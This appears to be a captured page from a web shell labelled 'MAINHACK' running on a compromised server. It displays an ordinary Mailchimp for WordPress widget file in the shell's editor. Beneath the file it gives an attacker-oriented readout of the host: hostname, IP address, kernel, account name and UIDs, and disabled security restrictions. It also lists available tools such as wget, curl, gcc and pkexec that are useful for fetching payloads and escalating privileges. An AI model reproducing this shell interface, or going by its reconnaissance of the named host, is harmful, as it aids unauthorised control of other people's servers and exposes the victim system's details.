[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: class-widget.php
<?php defined('ABSPATH') or exit; /** * Adds MC4WP_Widget widget. * * @ignore */ class MC4WP_Form_Widget extends WP_Widget { /** * @var array */ private $default_instance_settings = [ 'title' => '', 'form_id' => '', ]; /** * Register widget with WordPress. */ public function __construct() { // translate default widget title $this->default_instance_settings['title'] = __('Newsletter', 'mailchimp-for-wp'); parent::__construct( 'mc4wp_form_widget', // Base ID __('Mailchimp Sign-Up Form', 'mailchimp-for-wp'), // Name [ 'description' => __('Displays your Mailchimp for WordPress sign-up form', 'mailchimp-for-wp'), ] ); } /** * Front-end display of widget. * * @see WP_Widget::widget() * * @param array $args Widget arguments. * @param array $instance_settings Saved values from database. */ public function widget($args, $instance_settings) { // ensure $instance_settings is an array if (! is_array($instance_settings)) { $instance_settings = []; } $instance_settings = array_merge($this->default_instance_settings, $instance_settings); $title = apply_filters('widget_title', $instance_settings['title'], $instance_settings, $this->id_base); echo $args['before_widget']; if (! empty($title)) { echo $args['before_title'] . $title . $args['after_title']; } mc4wp_show_form($instance_settings['form_id']); echo $args['after_widget']; } /** * Back-end widget form. * * @see WP_Widget::form() * * @param array $settings Previously saved values from database. * * @return string|void */ public function form($settings) { $settings = array_merge($this->default_instance_settings, (array) $settings); ?> <p> <label for="<?php echo $this->get_field_id('title'); ?>"><?php _e('Title:', 'mailchimp-for-wp'); ?></label> <input class="widefat" id="<?php echo $this->get_field_id('title'); ?>" name="<?php echo $this->get_field_name('title'); ?>" type="text" value="<?php echo esc_attr($settings['title']); ?>" /> </p> <?php /** * Runs right after the widget settings form is outputted * * @param array $settings * @param MC4WP_Form_Widget $this * @ignore */ do_action('mc4wp_form_widget_form', $settings, $this); ?> <p class="description"> <?php printf(__('You can edit your sign-up form in the <a href="%s">Mailchimp for WordPress form settings</a>.', 'mailchimp-for-wp'), admin_url('admin.php?page=mailchimp-for-wp-forms')); ?> </p> <?php } /** * Validates widget form values as they are saved. * * @see WP_Widget::update() * * @param array $new_settings Values just sent to be saved. * @param array $old_settings Previously saved values from database. * * @return array Updated safe values to be saved. */ public function update($new_settings, $old_settings) { if (! empty($new_settings['title'])) { $new_settings['title'] = sanitize_text_field($new_settings['title']); } /** * Filters the widget settings before they are saved. * * @param array $new_settings * @param array $old_settings * @param MC4WP_Form_Widget $widget * @ignore */ $new_settings = apply_filters('mc4wp_form_widget_update_settings', $new_settings, $old_settings, $this); return $new_settings; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.59 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002